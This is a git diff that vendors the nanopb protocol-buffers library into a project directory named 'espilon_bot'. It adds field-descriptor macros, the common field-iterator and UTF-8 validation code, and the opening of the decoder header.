* you can increase the descriptor width by defining PB_FIELDINFO_WIDTH or by setting
|
||||
* descriptorsize option in .options file.
|
||||
*/
|
||||
#define PB_FITS(value,bits) ((uint32_t)(value) < ((uint32_t)1<<bits))
|
||||
#define PB_FIELDINFO_ASSERT_1(tag, type, data_offset, data_size, size_offset, array_size) \
|
||||
PB_STATIC_ASSERT(PB_FITS(tag,6) && PB_FITS(data_offset,8) && PB_FITS(size_offset,4) && PB_FITS(data_size,4) && PB_FITS(array_size,1), FIELDINFO_DOES_NOT_FIT_width1_field ## tag)
|
||||
|
||||
#define PB_FIELDINFO_ASSERT_2(tag, type, data_offset, data_size, size_offset, array_size) \
|
||||
PB_STATIC_ASSERT(PB_FITS(tag,10) && PB_FITS(data_offset,16) && PB_FITS(size_offset,4) && PB_FITS(data_size,12) && PB_FITS(array_size,12), FIELDINFO_DOES_NOT_FIT_width2_field ## tag)
|
||||
|
||||
#ifndef PB_FIELD_32BIT
|
||||
/* Maximum field sizes are still 16-bit if pb_size_t is 16-bit */
|
||||
#define PB_FIELDINFO_ASSERT_4(tag, type, data_offset, data_size, size_offset, array_size) \
|
||||
PB_STATIC_ASSERT(PB_FITS(tag,16) && PB_FITS(data_offset,16) && PB_FITS((int_least8_t)size_offset,8) && PB_FITS(data_size,16) && PB_FITS(array_size,16), FIELDINFO_DOES_NOT_FIT_width4_field ## tag)
|
||||
|
||||
#define PB_FIELDINFO_ASSERT_8(tag, type, data_offset, data_size, size_offset, array_size) \
|
||||
PB_STATIC_ASSERT(PB_FITS(tag,16) && PB_FITS(data_offset,16) && PB_FITS((int_least8_t)size_offset,8) && PB_FITS(data_size,16) && PB_FITS(array_size,16), FIELDINFO_DOES_NOT_FIT_width8_field ## tag)
|
||||
#else
|
||||
/* Up to 32-bit fields supported.
|
||||
* Note that the checks are against 31 bits to avoid compiler warnings about shift wider than type in the test.
|
||||
* I expect that there is no reasonable use for >2GB messages with nanopb anyway.
|
||||
*/
|
||||
#define PB_FIELDINFO_ASSERT_4(tag, type, data_offset, data_size, size_offset, array_size) \
|
||||
PB_STATIC_ASSERT(PB_FITS(tag,30) && PB_FITS(data_offset,31) && PB_FITS(size_offset,8) && PB_FITS(data_size,31) && PB_FITS(array_size,16), FIELDINFO_DOES_NOT_FIT_width4_field ## tag)
|
||||
|
||||
#define PB_FIELDINFO_ASSERT_8(tag, type, data_offset, data_size, size_offset, array_size) \
|
||||
PB_STATIC_ASSERT(PB_FITS(tag,30) && PB_FITS(data_offset,31) && PB_FITS(size_offset,8) && PB_FITS(data_size,31) && PB_FITS(array_size,31), FIELDINFO_DOES_NOT_FIT_width8_field ## tag)
|
||||
#endif
|
||||
|
||||
|
||||
/* Automatic picking of FIELDINFO width:
|
||||
* Uses width 1 when possible, otherwise resorts to width 2.
|
||||
* This is used when PB_BIND() is called with "AUTO" as the argument.
|
||||
* The generator will give explicit size argument when it knows that a message
|
||||
* structure grows beyond 1-word format limits.
|
||||
*/
|
||||
#define PB_FIELDINFO_WIDTH_AUTO(atype, htype, ltype) PB_FI_WIDTH ## atype(htype, ltype)
|
||||
#define PB_FI_WIDTH_PB_ATYPE_STATIC(htype, ltype) PB_FI_WIDTH ## htype(ltype)
|
||||
#define PB_FI_WIDTH_PB_ATYPE_POINTER(htype, ltype) PB_FI_WIDTH ## htype(ltype)
|
||||
#define PB_FI_WIDTH_PB_ATYPE_CALLBACK(htype, ltype) 2
|
||||
#define PB_FI_WIDTH_PB_HTYPE_REQUIRED(ltype) PB_FI_WIDTH ## ltype
|
||||
#define PB_FI_WIDTH_PB_HTYPE_SINGULAR(ltype) PB_FI_WIDTH ## ltype
|
||||
#define PB_FI_WIDTH_PB_HTYPE_OPTIONAL(ltype) PB_FI_WIDTH ## ltype
|
||||
#define PB_FI_WIDTH_PB_HTYPE_ONEOF(ltype) PB_FI_WIDTH ## ltype
|
||||
#define PB_FI_WIDTH_PB_HTYPE_REPEATED(ltype) 2
|
||||
#define PB_FI_WIDTH_PB_HTYPE_FIXARRAY(ltype) 2
|
||||
#define PB_FI_WIDTH_PB_LTYPE_BOOL 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_BYTES 2
|
||||
#define PB_FI_WIDTH_PB_LTYPE_DOUBLE 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_ENUM 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_UENUM 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_FIXED32 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_FIXED64 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_FLOAT 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_INT32 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_INT64 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_MESSAGE 2
|
||||
#define PB_FI_WIDTH_PB_LTYPE_MSG_W_CB 2
|
||||
#define PB_FI_WIDTH_PB_LTYPE_SFIXED32 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_SFIXED64 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_SINT32 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_SINT64 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_STRING 2
|
||||
#define PB_FI_WIDTH_PB_LTYPE_UINT32 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_UINT64 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_EXTENSION 1
|
||||
#define PB_FI_WIDTH_PB_LTYPE_FIXED_LENGTH_BYTES 2
|
||||
|
||||
/* The mapping from protobuf types to LTYPEs is done using these macros. */
|
||||
#define PB_LTYPE_MAP_BOOL PB_LTYPE_BOOL
|
||||
#define PB_LTYPE_MAP_BYTES PB_LTYPE_BYTES
|
||||
#define PB_LTYPE_MAP_DOUBLE PB_LTYPE_FIXED64
|
||||
#define PB_LTYPE_MAP_ENUM PB_LTYPE_VARINT
|
||||
#define PB_LTYPE_MAP_UENUM PB_LTYPE_UVARINT
|
||||
#define PB_LTYPE_MAP_FIXED32 PB_LTYPE_FIXED32
|
||||
#define PB_LTYPE_MAP_FIXED64 PB_LTYPE_FIXED64
|
||||
#define PB_LTYPE_MAP_FLOAT PB_LTYPE_FIXED32
|
||||
#define PB_LTYPE_MAP_INT32 PB_LTYPE_VARINT
|
||||
#define PB_LTYPE_MAP_INT64 PB_LTYPE_VARINT
|
||||
#define PB_LTYPE_MAP_MESSAGE PB_LTYPE_SUBMESSAGE
|
||||
#define PB_LTYPE_MAP_MSG_W_CB PB_LTYPE_SUBMSG_W_CB
|
||||
#define PB_LTYPE_MAP_SFIXED32 PB_LTYPE_FIXED32
|
||||
#define PB_LTYPE_MAP_SFIXED64 PB_LTYPE_FIXED64
|
||||
#define PB_LTYPE_MAP_SINT32 PB_LTYPE_SVARINT
|
||||
#define PB_LTYPE_MAP_SINT64 PB_LTYPE_SVARINT
|
||||
#define PB_LTYPE_MAP_STRING PB_LTYPE_STRING
|
||||
#define PB_LTYPE_MAP_UINT32 PB_LTYPE_UVARINT
|
||||
#define PB_LTYPE_MAP_UINT64 PB_LTYPE_UVARINT
|
||||
#define PB_LTYPE_MAP_EXTENSION PB_LTYPE_EXTENSION
|
||||
#define PB_LTYPE_MAP_FIXED_LENGTH_BYTES PB_LTYPE_FIXED_LENGTH_BYTES
|
||||
|
||||
/* These macros are used for giving out error messages.
|
||||
* They are mostly a debugging aid; the main error information
|
||||
* is the true/false return value from functions.
|
||||
* Some code space can be saved by disabling the error
|
||||
* messages if not used.
|
||||
*
|
||||
* PB_SET_ERROR() sets the error message if none has been set yet.
|
||||
* msg must be a constant string literal.
|
||||
* PB_GET_ERROR() always returns a pointer to a string.
|
||||
* PB_RETURN_ERROR() sets the error and returns false from current
|
||||
* function.
|
||||
*/
|
||||
#ifdef PB_NO_ERRMSG
|
||||
#define PB_SET_ERROR(stream, msg) PB_UNUSED(stream)
|
||||
#define PB_GET_ERROR(stream) "(errmsg disabled)"
|
||||
#else
|
||||
#define PB_SET_ERROR(stream, msg) (stream->errmsg = (stream)->errmsg ? (stream)->errmsg : (msg))
|
||||
#define PB_GET_ERROR(stream) ((stream)->errmsg ? (stream)->errmsg : "(none)")
|
||||
#endif
|
||||
|
||||
#define PB_RETURN_ERROR(stream, msg) return PB_SET_ERROR(stream, msg), false
|
||||
|
||||
#ifdef __cplusplus
|
||||
} /* extern "C" */
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
#if __cplusplus >= 201103L
|
||||
#define PB_CONSTEXPR constexpr
|
||||
#else // __cplusplus >= 201103L
|
||||
#define PB_CONSTEXPR
|
||||
#endif // __cplusplus >= 201103L
|
||||
|
||||
#if __cplusplus >= 201703L
|
||||
#define PB_INLINE_CONSTEXPR inline constexpr
|
||||
#else // __cplusplus >= 201703L
|
||||
#define PB_INLINE_CONSTEXPR PB_CONSTEXPR
|
||||
#endif // __cplusplus >= 201703L
|
||||
|
||||
extern "C++"
|
||||
{
|
||||
namespace nanopb {
|
||||
// Each type will be partially specialized by the generator.
|
||||
template <typename GenMessageT> struct MessageDescriptor;
|
||||
} // namespace nanopb
|
||||
}
|
||||
#endif /* __cplusplus */
|
||||
|
||||
#endif
|
||||
388
espilon_bot/components/core/nanoPB/pb_common.c
Normal file
388
espilon_bot/components/core/nanoPB/pb_common.c
Normal file
@ -0,0 +1,388 @@
|
||||
/* pb_common.c: Common support functions for pb_encode.c and pb_decode.c.
|
||||
*
|
||||
* 2014 Petteri Aimonen <jpa@kapsi.fi>
|
||||
*/
|
||||
|
||||
#include "pb_common.h"
|
||||
|
||||
static bool load_descriptor_values(pb_field_iter_t *iter)
|
||||
{
|
||||
uint32_t word0;
|
||||
uint32_t data_offset;
|
||||
int_least8_t size_offset;
|
||||
|
||||
if (iter->index >= iter->descriptor->field_count)
|
||||
return false;
|
||||
|
||||
word0 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]);
|
||||
iter->type = (pb_type_t)((word0 >> 8) & 0xFF);
|
||||
|
||||
switch(word0 & 3)
|
||||
{
|
||||
case 0: {
|
||||
/* 1-word format */
|
||||
iter->array_size = 1;
|
||||
iter->tag = (pb_size_t)((word0 >> 2) & 0x3F);
|
||||
size_offset = (int_least8_t)((word0 >> 24) & 0x0F);
|
||||
data_offset = (word0 >> 16) & 0xFF;
|
||||
iter->data_size = (pb_size_t)((word0 >> 28) & 0x0F);
|
||||
break;
|
||||
}
|
||||
|
||||
case 1: {
|
||||
/* 2-word format */
|
||||
uint32_t word1 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 1]);
|
||||
|
||||
iter->array_size = (pb_size_t)((word0 >> 16) & 0x0FFF);
|
||||
iter->tag = (pb_size_t)(((word0 >> 2) & 0x3F) | ((word1 >> 28) << 6));
|
||||
size_offset = (int_least8_t)((word0 >> 28) & 0x0F);
|
||||
data_offset = word1 & 0xFFFF;
|
||||
iter->data_size = (pb_size_t)((word1 >> 16) & 0x0FFF);
|
||||
break;
|
||||
}
|
||||
|
||||
case 2: {
|
||||
/* 4-word format */
|
||||
uint32_t word1 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 1]);
|
||||
uint32_t word2 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 2]);
|
||||
uint32_t word3 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 3]);
|
||||
|
||||
iter->array_size = (pb_size_t)(word0 >> 16);
|
||||
iter->tag = (pb_size_t)(((word0 >> 2) & 0x3F) | ((word1 >> 8) << 6));
|
||||
size_offset = (int_least8_t)(word1 & 0xFF);
|
||||
data_offset = word2;
|
||||
iter->data_size = (pb_size_t)word3;
|
||||
break;
|
||||
}
|
||||
|
||||
default: {
|
||||
/* 8-word format */
|
||||
uint32_t word1 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 1]);
|
||||
uint32_t word2 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 2]);
|
||||
uint32_t word3 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 3]);
|
||||
uint32_t word4 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 4]);
|
||||
|
||||
iter->array_size = (pb_size_t)word4;
|
||||
iter->tag = (pb_size_t)(((word0 >> 2) & 0x3F) | ((word1 >> 8) << 6));
|
||||
size_offset = (int_least8_t)(word1 & 0xFF);
|
||||
data_offset = word2;
|
||||
iter->data_size = (pb_size_t)word3;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!iter->message)
|
||||
{
|
||||
/* Avoid doing arithmetic on null pointers, it is undefined */
|
||||
iter->pField = NULL;
|
||||
iter->pSize = NULL;
|
||||
}
|
||||
else
|
||||
{
|
||||
iter->pField = (char*)iter->message + data_offset;
|
||||
|
||||
if (size_offset)
|
||||
{
|
||||
iter->pSize = (char*)iter->pField - size_offset;
|
||||
}
|
||||
else if (PB_HTYPE(iter->type) == PB_HTYPE_REPEATED &&
|
||||
(PB_ATYPE(iter->type) == PB_ATYPE_STATIC ||
|
||||
PB_ATYPE(iter->type) == PB_ATYPE_POINTER))
|
||||
{
|
||||
/* Fixed count array */
|
||||
iter->pSize = &iter->array_size;
|
||||
}
|
||||
else
|
||||
{
|
||||
iter->pSize = NULL;
|
||||
}
|
||||
|
||||
if (PB_ATYPE(iter->type) == PB_ATYPE_POINTER && iter->pField != NULL)
|
||||
{
|
||||
iter->pData = *(void**)iter->pField;
|
||||
}
|
||||
else
|
||||
{
|
||||
iter->pData = iter->pField;
|
||||
}
|
||||
}
|
||||
|
||||
if (PB_LTYPE_IS_SUBMSG(iter->type))
|
||||
{
|
||||
iter->submsg_desc = iter->descriptor->submsg_info[iter->submessage_index];
|
||||
}
|
||||
else
|
||||
{
|
||||
iter->submsg_desc = NULL;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
static void advance_iterator(pb_field_iter_t *iter)
|
||||
{
|
||||
iter->index++;
|
||||
|
||||
if (iter->index >= iter->descriptor->field_count)
|
||||
{
|
||||
/* Restart */
|
||||
iter->index = 0;
|
||||
iter->field_info_index = 0;
|
||||
iter->submessage_index = 0;
|
||||
iter->required_field_index = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
/* Increment indexes based on previous field type.
|
||||
* All field info formats have the following fields:
|
||||
* - lowest 2 bits tell the amount of words in the descriptor (2^n words)
|
||||
* - bits 2..7 give the lowest bits of tag number.
|
||||
* - bits 8..15 give the field type.
|
||||
*/
|
||||
uint32_t prev_descriptor = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]);
|
||||
pb_type_t prev_type = (prev_descriptor >> 8) & 0xFF;
|
||||
pb_size_t descriptor_len = (pb_size_t)(1 << (prev_descriptor & 3));
|
||||
|
||||
/* Add to fields.
|
||||
* The cast to pb_size_t is needed to avoid -Wconversion warning.
|
||||
* Because the data is is constants from generator, there is no danger of overflow.
|
||||
*/
|
||||
iter->field_info_index = (pb_size_t)(iter->field_info_index + descriptor_len);
|
||||
iter->required_field_index = (pb_size_t)(iter->required_field_index + (PB_HTYPE(prev_type) == PB_HTYPE_REQUIRED));
|
||||
iter->submessage_index = (pb_size_t)(iter->submessage_index + PB_LTYPE_IS_SUBMSG(prev_type));
|
||||
}
|
||||
}
|
||||
|
||||
bool pb_field_iter_begin(pb_field_iter_t *iter, const pb_msgdesc_t *desc, void *message)
|
||||
{
|
||||
memset(iter, 0, sizeof(*iter));
|
||||
|
||||
iter->descriptor = desc;
|
||||
iter->message = message;
|
||||
|
||||
return load_descriptor_values(iter);
|
||||
}
|
||||
|
||||
bool pb_field_iter_begin_extension(pb_field_iter_t *iter, pb_extension_t *extension)
|
||||
{
|
||||
const pb_msgdesc_t *msg = (const pb_msgdesc_t*)extension->type->arg;
|
||||
bool status;
|
||||
|
||||
uint32_t word0 = PB_PROGMEM_READU32(msg->field_info[0]);
|
||||
if (PB_ATYPE(word0 >> 8) == PB_ATYPE_POINTER)
|
||||
{
|
||||
/* For pointer extensions, the pointer is stored directly
|
||||
* in the extension structure. This avoids having an extra
|
||||
* indirection. */
|
||||
status = pb_field_iter_begin(iter, msg, &extension->dest);
|
||||
}
|
||||
else
|
||||
{
|
||||
status = pb_field_iter_begin(iter, msg, extension->dest);
|
||||
}
|
||||
|
||||
iter->pSize = &extension->found;
|
||||
return status;
|
||||
}
|
||||
|
||||
bool pb_field_iter_next(pb_field_iter_t *iter)
|
||||
{
|
||||
advance_iterator(iter);
|
||||
(void)load_descriptor_values(iter);
|
||||
return iter->index != 0;
|
||||
}
|
||||
|
||||
bool pb_field_iter_find(pb_field_iter_t *iter, uint32_t tag)
|
||||
{
|
||||
if (iter->tag == tag)
|
||||
{
|
||||
return true; /* Nothing to do, correct field already. */
|
||||
}
|
||||
else if (tag > iter->descriptor->largest_tag)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
else
|
||||
{
|
||||
pb_size_t start = iter->index;
|
||||
uint32_t fieldinfo;
|
||||
|
||||
if (tag < iter->tag)
|
||||
{
|
||||
/* Fields are in tag number order, so we know that tag is between
|
||||
* 0 and our start position. Setting index to end forces
|
||||
* advance_iterator() call below to restart from beginning. */
|
||||
iter->index = iter->descriptor->field_count;
|
||||
}
|
||||
|
||||
do
|
||||
{
|
||||
/* Advance iterator but don't load values yet */
|
||||
advance_iterator(iter);
|
||||
|
||||
/* Do fast check for tag number match */
|
||||
fieldinfo = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]);
|
||||
|
||||
if (((fieldinfo >> 2) & 0x3F) == (tag & 0x3F))
|
||||
{
|
||||
/* Good candidate, check further */
|
||||
(void)load_descriptor_values(iter);
|
||||
|
||||
if (iter->tag == tag &&
|
||||
PB_LTYPE(iter->type) != PB_LTYPE_EXTENSION)
|
||||
{
|
||||
/* Found it */
|
||||
return true;
|
||||
}
|
||||
}
|
||||
} while (iter->index != start);
|
||||
|
||||
/* Searched all the way back to start, and found nothing. */
|
||||
(void)load_descriptor_values(iter);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
bool pb_field_iter_find_extension(pb_field_iter_t *iter)
|
||||
{
|
||||
if (PB_LTYPE(iter->type) == PB_LTYPE_EXTENSION)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
else
|
||||
{
|
||||
pb_size_t start = iter->index;
|
||||
uint32_t fieldinfo;
|
||||
|
||||
do
|
||||
{
|
||||
/* Advance iterator but don't load values yet */
|
||||
advance_iterator(iter);
|
||||
|
||||
/* Do fast check for field type */
|
||||
fieldinfo = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]);
|
||||
|
||||
if (PB_LTYPE((fieldinfo >> 8) & 0xFF) == PB_LTYPE_EXTENSION)
|
||||
{
|
||||
return load_descriptor_values(iter);
|
||||
}
|
||||
} while (iter->index != start);
|
||||
|
||||
/* Searched all the way back to start, and found nothing. */
|
||||
(void)load_descriptor_values(iter);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
static void *pb_const_cast(const void *p)
|
||||
{
|
||||
/* Note: this casts away const, in order to use the common field iterator
|
||||
* logic for both encoding and decoding. The cast is done using union
|
||||
* to avoid spurious compiler warnings. */
|
||||
union {
|
||||
void *p1;
|
||||
const void *p2;
|
||||
} t;
|
||||
t.p2 = p;
|
||||
return t.p1;
|
||||
}
|
||||
|
||||
bool pb_field_iter_begin_const(pb_field_iter_t *iter, const pb_msgdesc_t *desc, const void *message)
|
||||
{
|
||||
return pb_field_iter_begin(iter, desc, pb_const_cast(message));
|
||||
}
|
||||
|
||||
bool pb_field_iter_begin_extension_const(pb_field_iter_t *iter, const pb_extension_t *extension)
|
||||
{
|
||||
return pb_field_iter_begin_extension(iter, (pb_extension_t*)pb_const_cast(extension));
|
||||
}
|
||||
|
||||
bool pb_default_field_callback(pb_istream_t *istream, pb_ostream_t *ostream, const pb_field_t *field)
|
||||
{
|
||||
if (field->data_size == sizeof(pb_callback_t))
|
||||
{
|
||||
pb_callback_t *pCallback = (pb_callback_t*)field->pData;
|
||||
|
||||
if (pCallback != NULL)
|
||||
{
|
||||
if (istream != NULL && pCallback->funcs.decode != NULL)
|
||||
{
|
||||
return pCallback->funcs.decode(istream, field, &pCallback->arg);
|
||||
}
|
||||
|
||||
if (ostream != NULL && pCallback->funcs.encode != NULL)
|
||||
{
|
||||
return pCallback->funcs.encode(ostream, field, &pCallback->arg);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return true; /* Success, but didn't do anything */
|
||||
|
||||
}
|
||||
|
||||
#ifdef PB_VALIDATE_UTF8
|
||||
|
||||
/* This function checks whether a string is valid UTF-8 text.
|
||||
*
|
||||
* Algorithm is adapted from https://www.cl.cam.ac.uk/~mgk25/ucs/utf8_check.c
|
||||
* Original copyright: Markus Kuhn <http://www.cl.cam.ac.uk/~mgk25/> 2005-03-30
|
||||
* Licensed under "Short code license", which allows use under MIT license or
|
||||
* any compatible with it.
|
||||
*/
|
||||
|
||||
bool pb_validate_utf8(const char *str)
|
||||
{
|
||||
const pb_byte_t *s = (const pb_byte_t*)str;
|
||||
while (*s)
|
||||
{
|
||||
if (*s < 0x80)
|
||||
{
|
||||
/* 0xxxxxxx */
|
||||
s++;
|
||||
}
|
||||
else if ((s[0] & 0xe0) == 0xc0)
|
||||
{
|
||||
/* 110XXXXx 10xxxxxx */
|
||||
if ((s[1] & 0xc0) != 0x80 ||
|
||||
(s[0] & 0xfe) == 0xc0) /* overlong? */
|
||||
return false;
|
||||
else
|
||||
s += 2;
|
||||
}
|
||||
else if ((s[0] & 0xf0) == 0xe0)
|
||||
{
|
||||
/* 1110XXXX 10Xxxxxx 10xxxxxx */
|
||||
if ((s[1] & 0xc0) != 0x80 ||
|
||||
(s[2] & 0xc0) != 0x80 ||
|
||||
(s[0] == 0xe0 && (s[1] & 0xe0) == 0x80) || /* overlong? */
|
||||
(s[0] == 0xed && (s[1] & 0xe0) == 0xa0) || /* surrogate? */
|
||||
(s[0] == 0xef && s[1] == 0xbf &&
|
||||
(s[2] & 0xfe) == 0xbe)) /* U+FFFE or U+FFFF? */
|
||||
return false;
|
||||
else
|
||||
s += 3;
|
||||
}
|
||||
else if ((s[0] & 0xf8) == 0xf0)
|
||||
{
|
||||
/* 11110XXX 10XXxxxx 10xxxxxx 10xxxxxx */
|
||||
if ((s[1] & 0xc0) != 0x80 ||
|
||||
(s[2] & 0xc0) != 0x80 ||
|
||||
(s[3] & 0xc0) != 0x80 ||
|
||||
(s[0] == 0xf0 && (s[1] & 0xf0) == 0x80) || /* overlong? */
|
||||
(s[0] == 0xf4 && s[1] > 0x8f) || s[0] > 0xf4) /* > U+10FFFF? */
|
||||
return false;
|
||||
else
|
||||
s += 4;
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
49
espilon_bot/components/core/nanoPB/pb_common.h
Normal file
49
espilon_bot/components/core/nanoPB/pb_common.h
Normal file
@ -0,0 +1,49 @@
|
||||
/* pb_common.h: Common support functions for pb_encode.c and pb_decode.c.
|
||||
* These functions are rarely needed by applications directly.
|
||||
*/
|
||||
|
||||
#ifndef PB_COMMON_H_INCLUDED
|
||||
#define PB_COMMON_H_INCLUDED
|
||||
|
||||
#include "pb.h"
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* Initialize the field iterator structure to beginning.
|
||||
* Returns false if the message type is empty. */
|
||||
bool pb_field_iter_begin(pb_field_iter_t *iter, const pb_msgdesc_t *desc, void *message);
|
||||
|
||||
/* Get a field iterator for extension field. */
|
||||
bool pb_field_iter_begin_extension(pb_field_iter_t *iter, pb_extension_t *extension);
|
||||
|
||||
/* Same as pb_field_iter_begin(), but for const message pointer.
|
||||
* Note that the pointers in pb_field_iter_t will be non-const but shouldn't
|
||||
* be written to when using these functions. */
|
||||
bool pb_field_iter_begin_const(pb_field_iter_t *iter, const pb_msgdesc_t *desc, const void *message);
|
||||
bool pb_field_iter_begin_extension_const(pb_field_iter_t *iter, const pb_extension_t *extension);
|
||||
|
||||
/* Advance the iterator to the next field.
|
||||
* Returns false when the iterator wraps back to the first field. */
|
||||
bool pb_field_iter_next(pb_field_iter_t *iter);
|
||||
|
||||
/* Advance the iterator until it points at a field with the given tag.
|
||||
* Returns false if no such field exists. */
|
||||
bool pb_field_iter_find(pb_field_iter_t *iter, uint32_t tag);
|
||||
|
||||
/* Find a field with type PB_LTYPE_EXTENSION, or return false if not found.
|
||||
* There can be only one extension range field per message. */
|
||||
bool pb_field_iter_find_extension(pb_field_iter_t *iter);
|
||||
|
||||
#ifdef PB_VALIDATE_UTF8
|
||||
/* Validate UTF-8 text string */
|
||||
bool pb_validate_utf8(const char *s);
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
} /* extern "C" */
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
1763
espilon_bot/components/core/nanoPB/pb_decode.c
Normal file
1763
espilon_bot/components/core/nanoPB/pb_decode.c
Normal file
File diff suppressed because it is too large
Load Diff
204
espilon_bot/components/core/nanoPB/pb_decode.h
Normal file
204
espilon_bot/components/core/nanoPB/pb_decode.h
Normal file
@ -0,0 +1,204 @@
|
||||
/* pb_decode.h: Functions to decode protocol buffers. Depends on pb_decode.c.
|
||||
* The main function is pb_decode. You also need an input stream, and the
|
||||
* field descriptions created by nanopb_generator.py.
|
||||
*/
|
||||
|
||||
#ifndef PB_DECODE_H_INCLUDED
|
||||
#define PB_DECODE_H_INCLUDED
|
||||
|
||||
#include "pb.h"
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* Structure for defining custom input streams. You will need to provide
|
||||
* a callback function to read the bytes from your storage, which can be
|
||||
* for example a file or a network socket.
|
||||
*
|
||||
* The callback must conform to these rules:
|
||||
*
|
||||
* 1) Return false on IO errors. This will cause decoding to abort.
|
||||
* 2) You can use state to store your own data (e.g. buffer pointer),
|
||||
* and rely on pb_read to verify that no-body reads past bytes_left.
|
||||
* 3) Your callback may be used with substreams, in which case bytes_left
|
||||
* is different than from the main stream. Don't use bytes_left to compute
|
||||
* any pointers.
|
||||
*/
|
||||
struct pb_istream_s
|
||||
{
|
||||
#ifdef PB_BUFFER_ONLY
|
||||
/* Callback pointer is not used in buffer-only configuration.
|
||||
* Having an int pointer here allows binary compatibility but
|
||||
* gives an error if someone tries to assign callback function.
|
||||
*/
|
||||
int *callback;
|
||||
#else
|
||||
bool (*callback)(pb_istream_t *stream, pb_byte_t *buf, size_t count);
|
||||
#endif
|
||||
|
||||
/* state is a free field for use of the callback function defined above.
|
||||
* Note that when pb_istream_from_buffer() is used, it reserves this field
|
||||
* for its own use.
|
||||
*/
|
||||
void *state;
|
||||
|
||||
/* Maximum number of bytes left in this stream. Callback can report
|
||||
* EOF before this limit is reached. Setting a limit is recommended
|
||||
* when decoding directly from file or network streams to avoid
|
||||
* denial-of-service by excessively long messages.
|
||||
*/
|
||||
size_t bytes_left;
|
||||
|
||||
#ifndef PB_NO_ERRMSG
|
||||
/* Pointer to constant (ROM) string when decoding function returns error */
|
||||
const char *errmsg;
|
||||
#endif
|
||||
};
|
||||
|
||||
#ifndef PB_NO_ERRMSG
|
||||
#define PB_ISTREAM_EMPTY {0,0,0,0}
|
||||
#else
|
||||
#define PB_ISTREAM_EMPTY {0,0,0}
|
||||
#endif
|
||||
|
||||
/***************************
|
||||
* Main decoding functions *
|
||||
***************************/
|
||||
|
||||
/* Decode a single protocol buffers message from input stream into a C structure.
|
||||
* Returns true on success, false on any failure.
|
||||
* The actual struct pointed to by dest must match the description in fields.
|
||||
* Callback fields of the destination structure must be initialized by caller.
|
||||
* All other fields will be initialized by this function.
|
||||
*
|
||||
* Example usage:
|
||||
* MyMessage msg = {};
|
||||
* uint8_t buffer[64];
|
||||
* pb_istream_t stream;
|
||||
*
|
||||
* // ... read some data into buffer ...
|
||||
*
|
||||
* stream = pb_istream_from_buffer(buffer, count);
|
||||
* pb_decode(&stream, MyMessage_fields, &msg);
|
||||
*/
|
||||
bool pb_decode(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct);
|
||||
|
||||
/* Extended version of pb_decode, with several options to control
|
||||
* the decoding process:
|
||||
*
|
||||
* PB_DECODE_NOINIT: Do not initialize the fields to default values.
|
||||
* This is slightly faster if you do not need the default
|
||||
* values and instead initialize the structure to 0 using
|
||||
* e.g. memset(). This can also be used for merging two
|
||||
* messages, i.e. combine already existing data with new
|
||||
* values.
|
||||
*
|
||||
* PB_DECODE_DELIMITED: Input message starts with the message size as varint.
|
||||
* Corresponds to parseDelimitedFrom() in Google's
|
||||
* protobuf API.
|
||||
*
|
||||
* PB_DECODE_NULLTERMINATED: Stop reading when field tag is read as 0. This allows
|
||||
* reading null terminated messages.
|
||||
* NOTE: Until nanopb-0.4.0, pb_decode() also allows
|
||||
* null-termination. This behaviour is not supported in
|
||||
* most other protobuf implementations, so PB_DECODE_DELIMITED
|
||||
* is a better option for compatibility.
|
||||
*
|
||||
* Multiple flags can be combined with bitwise or (| operator)
|
||||
*/
|
||||
#define PB_DECODE_NOINIT 0x01U
|
||||
#define PB_DECODE_DELIMITED 0x02U
|
||||
#define PB_DECODE_NULLTERMINATED 0x04U
|
||||
bool pb_decode_ex(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct, unsigned int flags);
|
||||
|
||||
/* Defines for backwards compatibility with code written before nanopb-0.4.0 */
|
||||
